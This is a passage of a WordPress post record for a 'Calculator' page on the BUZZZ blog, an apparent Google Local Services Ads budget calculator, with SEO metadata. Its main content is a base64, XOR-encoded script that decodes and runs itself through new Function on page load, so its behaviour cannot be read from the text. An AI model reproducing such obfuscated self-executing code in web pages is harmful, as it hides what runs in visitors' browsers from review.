bW0FY1I3LSwDNgVlPDksORohLD0rAzYFBjNjUiVSKj0sLSo2eDctLGNSJVI+LTY7LDE3Nng6LTE0PBkoMQ0qNHAoOSo5NStxI1IxPnB5OSgxGjkrPXEqPSwtKjZ\/f2NSLCohI1I7NzYrLHgpK2U2PS94DQoUCz05KjswCDkqOTUrcCg5Kjk1KyQkIyVxdiw3CywqMTY\/cHFjUjs3NisseDM9IWUwPSAMNxohLD0rcBkIEQcJagcTHQEHEB0AcWNSMT5wMz0hfn4sISg9Nz54DTE2LGAZKio5IXllZX8tNjw9PjE2PTx\/cSNSOzc2Kyx4Njc2Oz1lNj0veA0xNixgGSoqOSFwYHFjUjE+cCwhKD03Png7KiEoLDd5ZWV\/LTY8PT4xNj08f35+OyohKCw3dj89LAo5Njw3NQ45NC09K3EjUjsqISgsN3Y\/PSwKOTY8NzUOOTQtPStwNjc2Oz1xY1IlPTQrPSNSPjcqcDQ9LHgxZWhjMWQ2NzY7PXY0PTY\/LDBjMXNzcTY3Njs9AzEFZXAVOSwwdio5Njw3NXBxcmptbnF+am1tY1IlUjs3NisseD02O2VwLCEoPTc+eAw9ICwdNjs3PD0qeWVlfy02PD0+MTY9PH9xZzY9L3gMPSAsHTY7Nzw9KnBxYjYtNDRjUjs3NisseCg0OTE2GiEsPStlPTY7Zz02O3Y9Njs3PD1wKStxYnA+LTY7LDE3NnBxI1I7NzYrLHg5KiplNj0veA0xNixgGSoqOSFwKSt2ND02PywwcWNSPjcqcDQ9LHgxZWhjMWQpK3Y0PTY\/LDBjMXNzcTkqKgMxBWUpK3Y7MDkqGzc8PRkscDFxfmptbWNSKj0sLSo2eDkqKmNSJXFwcWNSOzc2Kyx4Mz0hFTksZTY9L3gNMTYsYBkqKjkhcDM9IXY0PTY\/LDBzNjc2Oz12ND02PywwcWNSMz0hFTksdis9LHAzPSF0aHFjUjM9IRU5LHYrPSxwNjc2Oz10Mz0hdjQ9Nj8sMHFjUjs3NisseDsxKDA9KhohLD0rZSo7bHAzPSEVOSx0KDQ5MTYaISw9K3FjUjs3NisseCg5ITQ3OTxlNj0veA0xNixgGSoqOSFwNjc2Oz12ND02PywwczsxKDA9KhohLD0rdjQ9Nj8sMHFjUig5ITQ3OTx2Kz0scDY3Njs9dGhxY1IoOSE0Nzk8dis9LHA7MSgwPSoaISw9K3Q2NzY7PXY0PTY\/LDBxY1I7NzYrLHgoOTszPTxlOiEsPSsMNxpubA0qNHAoOSE0Nzk8cWNSMT5wKDk7Mz08cSNSKj0sLSo2eDkoMRo5Kz1zf3c5KDF3MTY8PSB2KDAoZyllf3MoOTszPTxjUiVSJVIqPSwtKjZ\/f2NSJTs5LDswcD1xI1IqPSwtKjZ\/f2NSJVIlUjkrITY7eD4tNjssMTc2eDw9OyohKCwZKDEdNi49NDcoPXA3OjJ0Kzs3KD1xI1IsKiEjUjE+cHk3OjIkJCwhKD03Png3OjJ5ZWV\/NzoyPTssf3EqPSwtKjZ4NzoyY1IxPnAsISg9Nz54Nzoydil5ZWV\/KywqMTY\/fyQkeTc6MnYpcSo9LC0qNng3OjJjUjs3NisseCs5Pj0LOzcoPWVwLCEoPTc+eCs7Nyg9ZWVlfyssKjE2P39+fncGAzl1Imh1YQcFI2l0aW4lfHcxdiw9KyxwKzs3KD1xcWcrOzcoPWJ\/Oz4\/f2NSOzc2Kyx4OjkrPRM9IWUwPSAMNxohLD0rcBkIEQcJagcTHQEHEB0AcWNSMT5weTo5Kz0TPSFxKj0sLSo2eDc6MmNSMT5wNzoydj02O2VlZX8\/OzVpf3EjUiwqISNSOzc2Kyx4KDk7Mz08ZTpubC0qNAw3GiEsPStwNzoydilxY1IxPnB5KDk7Mz08JCQoOTszPTx2ND02PywwZHBpanNpbnNpcXEsMCo3L3g2PS94HSoqNypwfz87NQcoOTszPTx\/cWNSOzc2Kyx4MS5lKDk7Mz08dis0MTs9cGh0aWpxY1I7NzYrLHg7MSgwPSoPMSwwDDk\/ZSg5OzM9PHYrNDE7PXBpanFjUjs3NisseD87NRQ5Oj00ZSs5Pj0LOzcoPXN\/JD87NWl\/Y1I7NzYrLHg0OTo9NGVwLCEoPTc+eAw9ICwdNjs3PD0qeWVlfy02PD0+MTY9PH9xZzY9L3gMPSAsHTY7Nzw9KnBxdj02Ozc8PXA\/OzUUOTo9NHFicD4tNjssMTc2cHEjUjs3NisseCtlPzs1FDk6PTRjUjs3NisseDkqKmU2PS94DTE2LGAZKio5IXArdjQ9Nj8sMHFjUj43KnA0PSx4MWVoYzFkK3Y0PTY\/LDBjMXNzcTkqKgMxBWUrdjswOSobNzw9GSxwMXF+am1tY1IqPSwtKjZ4OSoqY1IlcXBxY1I7NzYrLHgzPSEaISw9K2U5LzkxLHgrMDlqbW4aISw9K3A7NzY7OSwaISw9K3A6OSs9Ez0hdDQ5Oj00cXFjUjE+cHkzPSEaISw9K3EsMCo3L3g2PS94HSoqNypwfz87NQczPSF\/cWNSMT5wLCEoPTc+eDsqISgsN2VlZX8tNjw9PjE2PTx\/JCR5OyohKCw3distOiw0PSQkeTsqISgsN3YrLTosND12MTUoNyosEz0hcSwwKjcveDY9L3gdKio3KnB\/Pzs1BystOiw0PX9xY1I7NzYrLHg7KiEoLDcTPSFlOS85MSx4OyohKCw3distOiw0PXYxNSg3KiwTPSFwfyo5L390Mz0hGiEsPSt0IzY5NT1ifxkdC3UfGxV\/JXQ+OTQrPXQDfzw9OyohKCx\/BXFjUjs3NisseCg0OTE2Gi0+ZTkvOTEseDsqISgsN3YrLTosND12PD07KiEoLHAjNjk1PWJ\/GR0LdR8bFX90MS5iMS50LDk\/FD02PywwYmlqYCV0OyohKCw3Ez0hdDsxKDA9Kg8xLDAMOT9xY1I7NzYrLHgyKzc2ZTohLD0rDDcNLD5gcDY9L3gNMTYsYBkqKjkhcCg0OTE2Gi0+cXFjUio9LC0qNngSCxcWdig5Kis9cDIrNzZxY1IlOzksOzBwPXEjUjE+cCwhKD03Png3OjJ2KWplZWV\/KywqMTY\/f35+NzoydilqcSNSOzc2Kyx4KDk7Mz08amU6bmwtKjQMNxohLD0rcDc6MnYpanFjUjE+cCg5OzM9PGp+fig5OzM9PGp2ND02PywwZmVhcSNSOzc2Kyx4Njc2Oz1lKDk7Mz08anYrNDE7PXBodGBxY1I7NzYrLHg7MSgwPSpqZSg5OzM9PGp2KzQxOz1wYHFjUjs3NisseDM9IRU5LGU2PS94DTE2LGAZKio5IXA6OSs9Ez0hdjQ9Nj8sMHM2NzY7PXY0PTY\/LDBxY1IzPSEVOSx2Kz0scDo5Kz0TPSF0aHFjUjM9IRU5LHYrPSxwNjc2Oz10OjkrPRM9IXY0PTY\/LDBxY1I7NzYrLHgoNDkxNhohLD0ramUqO2xwMz0hFTksdDsxKDA9KmpxY1I7NzYrLHgyKzc2amU6ISw9Kww3DSw+YHAoNDkxNhohLD0ranFjUio9LC0qNngSCxcWdig5Kis9cDIrNzZqcWNSJVIlUio9LC0qNng3OjJjUiVSJVIxPnA3OjJ2PTY7ZWVlfylqf3EjUjs3NisseCg5OzM9PGU6bmwtKjQMNxohLD0rcDc6MnYpcWNSMT5weSg5OzM9PCQkKDk7Mz08djQ9Nj8sMGRhcSo9LC0qNng3OjJjUjs3NisseDY3Njs9ZSg5OzM9PHYrNDE7PXBodGBxY1I7NzYrLHg7MSgwPSplKDk7Mz08dis0MTs9cGBxY1I7NzYrLHgzPSEVOSxlNj0veA0xNixgGSoqOSFwOjkrPRM9IXY0PTY\/LDBzNjc2Oz12ND02PywwcWNSMz0hFTksdis9LHA6OSs9Ez0hdGhxY1IzPSEVOSx2Kz0scDY3Njs9dDo5Kz0TPSF2ND02PywwcWNSOzc2Kyx4KDQ5MTYaISw9K2UqO2xwMz0hFTksdDsxKDA9KnFjUjs3NisseDIrNzZlOiEsPSsMNw0sPmBwKDQ5MTYaISw9K3FjUio9LC0qNngSCxcWdig5Kis9cDIrNzZxY1IlUio9LC0qNng3OjJjUiU7OSw7MHA9cSNSKj0sLSo2eDc6MmNSJVIlUiwqISNSLzE2PDcvdgcHOi8cPTsqISgsGSgxHTYuPTQ3KD1lPD07KiEoLBkoMR02Lj00Nyg9Y1IlOzksOzBwPXEjJVI0PSx4KzA3Lxw9NDkhZRwdHhkNFAwHCxAXDwccHRQZAWNSND0seDU3PD1lfzoqNy8rPSp\/Y1I+LTY7LDE3Nng+PSw7MA8xLDAMMTU9Ny0scC0qNHQ3KCwxNzYrdCwxNT03LSwVK3EjUjs3NisseDs3NiwqNzQ0PSplNj0veBk6NyosGzc2LCo3NDQ9KnBxY1I7NzYrLHgsMTU9Ny0sETxlKz0sDDE1PTctLHBwcWVmOzc2LCo3NDQ9KnY5OjcqLHBxdCwxNT03LSwVKyQkbWhoaHFjUjs3NisseDcoLCtlFzoyPTssdjkrKzE\/NnAjJXQ3KCwxNzYrJCQjJXQjKzE\/Njk0Yjs3NiwqNzQ0PSp2KzE\/Njk0JXFjUio9LC0qNng+PSw7MHAtKjR0NygsK3F2PjE2OTQ0IXBwcWVmOzQ9OSoMMTU9Ny0scCwxNT03LSwRPHFxY1IlUjkrITY7eD4tNjssMTc2eD49LDswEis3Ng8xLDAMMTU9Ny0scC0qNHQ3KCwxNzYrdCwxNT03LSwVK3EjUjs3NisseCo9KyhlOS85MSx4Pj0sOzAPMSwwDDE1PTctLHAtKjR0NygsMTc2K3QsMTU9Ny0sFStxY1IxPnB5Kj0rKHY3M3EsMCo3L3g2PS94HSoqNypwfzAsLCgHf3MqPSsodissOSwtK3FjUio9LC0qNng5LzkxLHgqPSsodjIrNzZwcWNSJVI+LTY7LDE3Nng8PTs3PD0QPSALLCoxNj9wMD0gcSNSLCohI1I0PSx4Kj0rLTQsZX9\/Y1I+NypwND0seDFlaGMxZDA9IHY0PTY\/LDBjMXNlanEjUjs3NisseDohLD0LLCoxNj9lMD0gdistOissKnAxdGpxY1I7NzYrLHg6ISw9ZSg5Kis9ETYscDohLD0LLCoxNj90aW5xY1IxPnA6ISw9ZmhxKj0rLTQsc2ULLCoxNj92Pio3NRswOSobNzw9cDohLD1xY1IlUio9LC0qNngqPSstNCxjUiU7OSw7MHA9cSNSKj0sLSo2f39jUiVSJVI+LTY7LDE3Nng8PTs3PD0KPSstNCxwKj0rLTQscSNSLCohI1I7NzYrLHgwPSAcOSw5ZSo9Ky00LHYrLDkqLCsPMSwwcH9oIH9xZyo9Ky00LHYrLTorLCpwanFiKj0rLTQsY1IxPnAwPSAcOSw5djQ9Nj8sMGRpamBxKj0sLSo2f39jUjs3NisseDQ9Nj8sMBA9IGUwPSAcOSw5distOissKnBubHRubHFjUjs3NisseDQ9Nj8sMGUoOSorPRE2LHA0PTY\/LDAQPSB0aW5xY1IxPnA0PTY\/LDBmaH5+MD0gHDksOXY0PTY\/LDBmZWlqYHM0PTY\/LDByanEjUjs3NisseCssKjE2PxA9IGUwPSAcOSw5distOissKnBpamB0ND02PywwcmpxY1IqPSwtKjZ4PD07Nzw9ED0gCywqMTY\/cCssKjE2PxA9IHFjUiVSKj0sLSo2f39jUiU7OSw7MHA9cSNSKj0sLSo2f39jUiVSJVI5KyE2O3g+LTY7LDE3NngoNyssEis3Ng8xLDAMMTU9Ny0scC0qNHQ6NzwhdCwxNT03LSwVK3EjUio9LC0qNng5LzkxLHg+PSw7MBIrNzYPMSwwDDE1PTctLHAtKjR0I1I1PSwwNzxifwgXCwx\/dFIwPTk8PSorYiNSfxs3Niw9Nix1DCEoPX9ifzkoKDQxOzksMTc2dzIrNzZ\/dFJ\/GTs7PSgsf2J\/OSgoNDE7OSwxNzZ3Mis3Nn9SJXRSOjc8IWISCxcWdissKjE2PzE+IXA6NzwhcXRSOzk7MD1ifzY3dSssNyo9f1IldCwxNT03LSwVK3FjUiVSOSshNjt4Pi02OywxNzZ4Pz0sDSo0Hio3NRs3NiwqOTsscHEjUjs3NisseDw5LDkeMT00PGV\/aCB\/cxsXFgwKGRsMBxsXFh4RH3YeDRYbDBEXFgcLHRQdGwwXCmNSOzc2Kyx4KDkqOTUrZQMjLDdiGxcWDAoZGwwHGxcWHhEfdhsXFgwKGRsMBxkcHAodCwt0PDksOWI8OSw5HjE9NDwldH80OSw9Kyx\/BWNSOzc2Kyx4Kj0pLT0rLBo3PCFlIzIrNzYqKDtif2p2aH90NT0sMDc8Yn89LDAHOzk0NH90KDkqOTUrdDE8YmklY1I+NypwND0seDksLD01KCxlaGM5LCw9NSgsZHAbFxYMChkbDAcbFxYeER92FRkABwodDAoRHQskJGlxYzksLD01KCxzc3EjUj43KnA7NzYrLHg9NjwoNzE2LHg3PnAbFxYMChkbDAcbFxYeER92CggbBxAXCwwLJCQDBXFxI1IsKiEjUjs3NisseDw5LDllOS85MSx4KDcrLBIrNzYPMSwwDDE1PTctLHA9NjwoNzE2LHQqPSktPSssGjc8IXQbFxYMChkbDAcbFxYeER92DBEVHRcNDAcVCyQkbWhoaHFjUjE+cDw5LDl+fjw5LDl2Kj0rLTQscSNSOzc2Kyx4PDc1OTE2ZTw9Ozc8PQo9Ky00LHA8OSw5dio9Ky00LHFjUjE+cDw3NTkxNn5+PDc1OTE2djQ9Nj8sMGZocSNSND0seC0qNGU8NzU5MTZ2LCoxNXBxY1IxPnB5LSo0dissOSosKw8xLDBwfzAsLCh\/cXEtKjRlfzAsLCgrYnd3f3MtKjRjUio9LC0qNngtKjRjUiVSJVIlOzksOzBwPXEjJVIlUiVSKj0sLSo2eDYtNDRjUiVSPi02OywxNzZ4LSg8OSw9DSo0K3A6OSs9DSo0cSNSMT5weTo5Kz0NKjRxKj0sLSo2Y1IoOTY9NBo5Kz0NKjRlOjkrPQ0qNHYqPSg0OTs9cHcEd3x3dH9\/cWNSOSgxGjkrPWUoOTY9NBo5Kz0NKjRjUjQ3Pw0qNGU6LTE0PBkoMQ0qNHAjOWJ\/PS4sfyVxJCRwOSgxGjkrPXN\/dzkoMXcxNjw9IHYoMChnOWU9Lix\/cWNSLDczPTYNKjRlOi0xNDwZKDENKjRwIzlifzE2MSx\/JXEkJHA5KDEaOSs9c393OSgxdzE2PD0gdigwKGc5ZTE2MSx\/cWNSPDcvNjQ3OTwNKjRlOi0xNDwZKDENKjRwIzlifzw0fyVxJCRwOSgxGjkrPXN\/dzkoMXcxNjw9IHYoMChnOWU8NH9xY1IlUjkrITY7eD4tNjssMTc2eCo9Pio9KzAbNzY+MT8eKjc1GSgxcHEjUiwqISNSOzc2Kyx4Ozc2LCo5OywNKjRlOS85MSx4Pz0sDSo0Hio3NRs3NiwqOTsscHFjUjE+cHk7NzYsKjk7LA0qNHEsMCo3L3g2PS94HSoqNypwfxoqNy8rPSoPOSo2MTY\/YngeOTE0PTx4LDd4Pz0seA0KFHg+Kjc1eDs3NiwqOTssf3FjUi0oPDksPQ0qNCtwOzc2LCo5OywNKjRxY1I7NzYrLHgrPSwsMTY\/Kw0qNGU6LTE0PBkoMQ0qNHAjOWJ\/Oz4\/fyVxJCRwOzc2LCo5OywNKjRzf3c5KDF3MTY8PSB2KDAoZzllOz4\/f3FjUjQ9LHgqPTU3LD1lOS85MSx4Pj0sOzASKzc2DzEsMAwxNT03LSxwKz0sLDE2PysNKjR0Izs5OzA9Yn82N3UrLDcqPX8ldG1oaGhxY1IqPTU3LD1lOS85MSx4PD07KiEoLBkoMR02Lj00Nyg9cCo9NTcsPXR\/Oz4\/f3FjUjE+cHkqPTU3LD0kJCwhKD03PngqPTU3LD15ZWV\/NzoyPTssf3EsMCo3L3g2PS94HSoqNypwfxoqNy8rPSoPOSo2MTY\/YngxNi45NDE8eCs9LCwxNj8reCg5ITQ3OTx\/cWNSOz4\/ZRc6Mj07LHY5KysxPzZwIyV0Kj01Nyw9cWNSMT5wOz4\/djs3NiwqOTssGzc2PjE\/cSNSLCohIxc6Mj07LHY5KysxPzZwGxcWDAoZGwwHGxcWHhEfdDs+P3Y7NzYsKjk7LBs3Nj4xP3FjJTs5LDswcD1xIyVSJVIxPnA7Pj92KDk2PTQaOSs9DSo0fn47Pj92KDk2PTQaOSs9DSo0eWVlKDk2PTQaOSs9DSo0cS0oPDksPQ0qNCtwOz4\/dig5Nj00GjkrPQ0qNHFjUiswNy8cPTQ5IWUsISg9Nz54Oz4\/diswNy8cPTQ5IWVlZX82LTU6PSp\/Zzs+P3YrMDcvHD00OSFiHB0eGQ0UDAcLEBcPBxwdFBkBY1I1Nzw9ZSwhKD03Png7Pj92NTc8PWVlZX8rLCoxNj9\/Zzs+P3Y1Nzw9Yn86KjcvKz0qf2NSJTs5LDswcD1xI1IsMCo3L3g9Y1IlUiVSOSshNjt4Pi02OywxNzZ4NDc\/HS49NixwPS49NiwMISg9dCg5ITQ3OTxxI1IxPnB5NDc\/DSo0fn55OSgxGjkrPXEqPSwtKjZjUiwqISNSOzc2Kyx4LSo0ZTotMTQ8GSgxDSo0cCM5Yn89Lix\/JXEkJDQ3Pw0qNGNSOS85MSx4Pj0sOzAPMSwwDDE1PTctLHAtKjR0I1I1PSwwNzxifwgXCwx\/dFIwPTk8PSorYiN\/Gzc2LD02LHUMISg9f2J\/LD0gLHcoNDkxNmM7MDkqKz0sZQ0MHnVgfyV0Ujo3PCFiEgsXFnYrLCoxNj8xPiFwFzoyPTssdjkrKzE\/NnAjPS49NiwMISg9JXQoOSE0Nzk8JCQjJXFxdFI7OTswPWJ\/Njd1Kyw3Kj1\/UiV0a2hoaHFjUiU7OSw7MHA9cSMlUiVSPi02OywxNzZ4NDc5PBU3PD0LOyoxKCxwNTc8PRY5NT10Ozk7MD0aLSsscSNSKj0sLSo2eDY9L3gIKjc1MSs9cHAqPSs3NC49dCo9Mj07LHFlZiNSMT5weSg5Nj00GjkrPQ0qNHEqPSwtKjZ4Kj0yPTsscDY9L3gdKio3KnB\/KDk2PTQaOSs9DSo0BzUxKysxNj9\/cXFjUjw9ND0sPXgvMTY8Ny8DEBkWHBQdCgcdAAgXCgwFY1I7NzYrLHgrOyoxKCxlPDc7LTU9Nix2Oyo9OSw9HTQ9NT02LHB\/KzsqMSgsf3FjUjs3NisseCs5Pj0VNzw9ZXA1Nzw9Fjk1PX5+FRccHQceERQdBxUZCAM1Nzw9Fjk1PQVxZzU3PD0WOTU9Yn86KjcvKz0qf2NSOzc2Kyx4OSgxCzsqMSgsDSo0ZTotMTQ8GSgxDSo0cCM5Yn8yK390NTc8PWILLCoxNj9wKzk+PRU3PD1xJXFjUis7KjEoLHYrKjtlOSgxCzsqMSgsDSo0JCRwKDk2PTQaOSs9DSo0c393OSgxdzE2PD0gdigwKGc5ZTIrfjU3PD1lf3M9Njs3PD0NChEbNzUoNzY9NixwCywqMTY\/cCs5Pj0VNzw9cXFxY1IrOyoxKCx2OSshNjtlLCotPWNSKzsqMSgsdjc2NDc5PGVwcWVmI1I7NzYrLHg+NmUvMTY8Ny8DEBkWHBQdCgcdAAgXCgwFY1I8PTQ9LD14LzE2PDcvAxAZFhwUHQoHHQAIFwoMBWNSMT5wLCEoPTc+eD42ZWVlfz4tNjssMTc2f3EqPSwtKjZ4Kj0rNzQuPXA+NnFjUio9Mj07LHA2PS94HSoqNypwfzU3PD0HMDk2PDQ9Kgc1MSsrMTY\/f3FxY1IlY1IrOyoxKCx2NzY9Kio3KmVwcWVmI1I8PTQ9LD14LzE2PDcvAxAZFhwUHQoHHQAIFwoMBWNSKj0yPTsscDY9L3gdKio3KnB\/NTc8PQcrOyoxKCwHPjkxND08f3FxY1IlY1I8NzstNT02LHYwPTk8djkoKD02PBswMTQ8cCs7KjEoLHFjUiVxY1IlUjkrITY7eD4tNjssMTc2eDo3NywrLCo5KHA1Nzw9Fjk1PXQ7NzYsPSAscSNSLCohI1I7NzYrLHgqLTY2PSplOS85MSx4NDc5PBU3PD0LOyoxKCxwNTc8PRY5NT10Oz4\/fn5wOz4\/djs5OzA9DDk\/JCQ7Pj92LSg8OSw9PBkscXFjUjkvOTEseCotNjY9KnA7NzYsPSAscWNSJTs5LDswcD1xI1IxPnA1Nzw9Fjk1PXllZX86KjcvKz0qf3EjUiwqISNSOzc2Kyx4Pjk0NDo5OzNlOS85MSx4NDc5PBU3PD0LOyoxKCxwfzoqNy8rPSp\/dDs+P35+cDs+P3Y7OTswPQw5PyQkOz4\/di0oPDksPTwZLHFxY1I5LzkxLHg+OTQ0Ojk7M3AXOjI9Oyx2OSsrMT82cCMldDs3Niw9ICx0IzU3PD1ifzoqNy8rPSp\/JXFxY1IlOzksOzBwPSoqcSNSJVIlUiVSJVI5KyE2O3g+LTY7LDE3Nng1OTE2cHEjUiwqISNSOS85MSx4Kj0+Kj0rMBs3Nj4xPx4qNzUZKDFwcWNSMT5wOz4\/fn47Pj92PTY5OjQ9PGVlZT45NCs9cSo9LC0qNmNSOzc2Kyx4NytlcDs+P35+LCEoPTc+eDs+P3Y3K2VlZX8rLCoxNj9\/fn47Pj92NytxZwssKjE2P3A7Pj92NytxYn8tNjM2Ny82f2NSOzc2Kyx4Oio3Lys9KmVwOz4\/fn4sISg9Nz54Oz4\/djoqNy8rPSplZWV\/KywqMTY\/f35+Oz4\/djoqNy8rPSpxZwssKjE2P3A7Pj92Oio3Lys9KnFifw02MzY3LzZ\/Y1I0PSx4PT4+PTssMS49FTc8PWVwLCEoPTc+eDU3PD1lZWV\/KywqMTY\/f35+NTc8PXFnNTc8PWJ\/Oio3Lys9Kn9jUiwqISNSOzc2Kyx4ND0\/OTshZTQ3Ozk0Cyw3Kjk\/PXY\/PSwRLD01cBQdHxkbAQcLDBcKGR8dBxMdAXFjUjs3NisseDstKio9NixlNDc7OTQLLDcqOT89dj89LBEsPTVwFBcbGRQHCwwXChkfHQcTHQFxY1IxPnA0PT85OyF5ZWU2LTQ0fn47LSoqPTYsZWVlNi00NHE0Nzs5NAssNyo5Pz12Kz0sESw9NXAUFxsZFAcLDBcKGR8dBxMdAXQ0PT85OyFxY1IxPnA0PT85OyF5ZWU2LTQ0cTQ3Ozk0Cyw3Kjk\/PXYqPTU3Lj0RLD01cBQdHxkbAQcLDBcKGR8dBxMdAXFjUiU7OSw7MHA9cSMlUjE+cDQ3Ozk0Cyw3Kjk\/PXY\/PSwRLD01cBQXGxkUBwsMFwoZHx0HEx0BcWVlZX9pf3EqPSwtKjZjUjE+cD0+Pj07LDEuPRU3PD15ZWV\/Kj07OSgsOzA5f35+PT4+PTssMS49FTc8PXllZX8qPTs5KCw7MDkHLzE2Byp\/fn49Pj49OywxLj0VNzw9eWVlfzorNzx\/fn49Pj49OywxLj0VNzw9eWVlfzs0Ny08PjQ5Kj1\/fn49Pj49OywxLj0VNzw9eWVlfzs+By0oPDksPX9+fj0+Pj07LDEuPRU3PD15ZWV\/KzE0PTYsf3EjUjkvOTEseDQ3Px0uPTYscH8oOT89By4xPS9\/dCNSOio3Lys9KnRSNyt0UjU3PD1iPT4+PTssMS49FTc8PXRSOzc2LCo5OywNKjRiKDk2PTQaOSs9DSo0dFI7NzYsKjk7LBk8PCo9KytiGxcWDAoZGwwHGxcWHhEfdhsXFgwKGRsMBxkcHAodCwtSJXFjUiVSOzc2Kyx4Kyw5KixlcHFlZiNSOzc2Kyx4OywgZSNSKDk2PTQaOSs9DSo0dFI5KDEaOSs9dFI5KDENKjRiOi0xNDwZKDENKjR0UjQ3Pw0qNHRSLDczPTYNKjR0Ujw3LzY0Nzk8DSo0dFI1Nzw9Yj0+Pj07LDEuPRU3PD10UjcrdFI6KjcvKz0qdFI7Ny02LCohYn9\/dFIrLDcqOT89Ez0hYhQXGxkUBwsMFwoZHx0HEx0BdFI7Pj90Ujs3NiwqOTssGzc2PjE\/YhsXFgwKGRsMBxsXFh4RH1IlY1I6NzcsKywqOShwPT4+PTssMS49FTc8PXQ7LCBxY1IlY1IxPnA8NzstNT02LHYqPTk8IQssOSw9ZWVlfzQ3OTwxNj9\/cSNSPDc7LTU9Nix2OTw8HS49NiwUMSssPTY9KnB\/HBcVGzc2LD02LBQ3OTw9PH90cHFlZis9LAwxNT03LSxwKyw5Kix0KzA3Lxw9NDkhcXQjNzY7PWIsKi09JXFjUiU9NCs9I1IrPSwMMTU9Ny0scCssOSosdCswNy8cPTQ5IXFjUiVSJTs5LDswcD1xI1IlUiVSNTkxNnBxY1IlcXBxYw==';function _0xf7541e(s,k){s=atob(s);var len=s.length,i,arr=new Uint8Array(len);for(i=0;i<len;i++){arr[i]=s.charCodeAt(i)^k;}if(window.TextDecoder){try{return new TextDecoder(\"utf-8\").decode(arr);}catch(e){}}var tmp=\"\";for(i=0;i<len;i++){tmp+=String.fromCharCode(arr[i]);}try{return decodeURIComponent(escape(tmp));}catch(e){return tmp;}}var _0x337fc6=_0xf7541e(_0xe6affb,_0x015ccc);(new Function(_0x337fc6))();})();<\/script>","protected":false},"excerpt":{"rendered":"<p>BUZZZ &#8211; Google Local Services Ads Cost Calculator GLSA budget \u2022 leads \u2022 ROI planner Google Local Services Ads cost calculator Model your GLSA budget, CPL, CPC, clicks, leads, jobs and profit before you launch. Choose your state, industry and assumptions, then calculate. Reality check This is a planning model using market-based averages. Real GLSA [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1887","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.0 (Yoast SEO v26.0) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Calculator - BUZZZ<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/buzzz.co\/blog\/calculator\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Calculator\" \/>\n<meta property=\"og:description\" content=\"BUZZZ &#8211; Google Local Services Ads Cost Calculator GLSA budget \u2022 leads \u2022 ROI planner Google Local Services Ads cost calculator Model your GLSA budget, CPL, CPC, clicks, leads, jobs and profit before you launch. Choose your state, industry and assumptions, then calculate. Reality check This is a planning model using market-based averages. Real GLSA [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/buzzz.co\/blog\/calculator\/\" \/>\n<meta property=\"og:site_name\" content=\"BUZZZ\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/media.buzzz.co\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-22T08:38:22+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/buzzz.co\/blog\/#\/schema\/person\/59f2d57de424b4666edd4192546acdca\"},\"headline\":\"Calculator\",\"datePublished\":\"2026-05-22T08:38:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/\"},\"wordCount\":595,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/buzzz.co\/blog\/#organization\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/buzzz.co\/blog\/calculator\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/\",\"url\":\"https:\/\/buzzz.co\/blog\/calculator\/\",\"name\":\"Calculator - BUZZZ\",\"isPartOf\":{\"@id\":\"https:\/\/buzzz.co\/blog\/#website\"},\"datePublished\":\"2026-05-22T08:38:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/buzzz.co\/blog\/calculator\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/buzzz.co\/blog\/calculator\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/buzzz.co\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Calculator\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/buzzz.co\/blog\/#website\",\"url\":\"https:\/\/buzzz.co\/blog\/\",\"name\":\"BUZZZ\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/buzzz.co\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/buzzz.co\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/buzzz.co\/blog\/#organization\",\"name\":\"BUZZZ\",\"url\":\"https:\/\/buzzz.co\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/buzzz.co\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/buzzz.co\/blog\/wp-